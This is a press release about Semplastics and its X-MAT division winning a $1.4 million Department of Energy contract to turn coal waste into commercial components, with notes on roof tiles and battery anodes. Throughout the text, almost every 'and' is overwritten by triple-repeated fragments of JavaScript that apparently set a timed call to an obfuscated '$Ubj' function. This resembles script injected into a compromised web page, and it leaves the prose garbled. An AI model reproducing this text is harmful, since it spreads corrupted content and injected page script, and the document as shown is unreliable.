Semplastics awarded $1.4 million contract from the Department of Energy to create new uses for coal waste

Contract to be used to develop commercially-useful components from coal waste

ORLANDO, Fla. (August 2020) – Semplastics andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and its Advanced Materials Division X-MAT® have been awarded $1.4 million in funding by the Department of Energy for a cost-shared research project to develop high-strength, commercially-useful components made from coal waste.

“’One person’s trash is another person’s treasure’ is a saying our team has taken to heart,” said Bill Easter, founder of Semplastics andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and X-MAT®. “We’re working to create a circular economy where we take coal waste materials andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and turn them into something remarkable. We’re already seeing great progress with prototypes.”

This coal waste project could very well lead to progress on the ultimate dream for X-MAT® technologies – to construct a house completely from coal-derived building materials. One day, people will be able to live in a safer, more durable home with everything from the front stoop to structural walls to the roof tiles on top made out of coal andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and its waste products.

“X-MAT®’s revolutionary technologies are coal reimagined,” said Easter. “Our vision for the re-use of coal andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and coal waste products is a major reason why the Department of Energy is interested in our R&D. We’re transforming an old energy product into something that will one day be used in all types of commercial businesses andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and potentially even residential architecture. In total, we’ve received $4 million in grants andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and contracts for our efforts to safely use coal in new ways.’’

Semplastics andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and X-MAT® are working in concert with the University of North Dakota Energy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and Environmental Research Center (EERC) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and Center for Applied Research andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and Technology (CART) in West Virginia on this project. 

The company also has several other coal andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and coal waste projects in the works. X-TILES™ are the company’s ecofriendly roof tile that are lightweight, fireproof andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and can withstandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and extreme temperatures. Using a patent-pending X-MAT® coating technology, Semplastics is also on the edge of a breakthrough combining coal with waste graphite to create a lithium ion battery anode, which has more energy capacity than never-used graphite.

This new contract is just the latest in funding support from the DOE National Energy Technology Laboratory (NETL). The NETL has also awarded Semplastics andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and X-MAT® a $1.5 million grant for the X-TILES™ andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and a nearly $1 million contract to help fund the research for turning coal into battery materials. 

About Semplastics

Semplastics, a Florida-based material engineering company, launched in 2000. Over the last 20 years, Semplastics has supplied plastic engineered components to a broad range of industries from medical to aerospace. The Advanced Materials Division of Semplastics, X-MAT®, was later formed in 2013. Since inception, X-MAT® has developed a revolutionary, high-performance material that combines properties of metals (electrical conductivity), engineering plastics (lightweight) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and ceramics (high operating temperature). Semplastics has held partnerships with NASA, Space Florida andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and the Department of Energy. Its game-changing material has various current applications including fireproof roof tiles, lightweight space mirrors, battery electrodes andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and 3D printing ceramics. Semplastics’ technology can be custom-engineered to fit many specifications andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and has unlimited potential market applications. To learn more about Semplastics andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and X-MAT®’s capabilities andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and future projects, contact us or call (407)353-6885.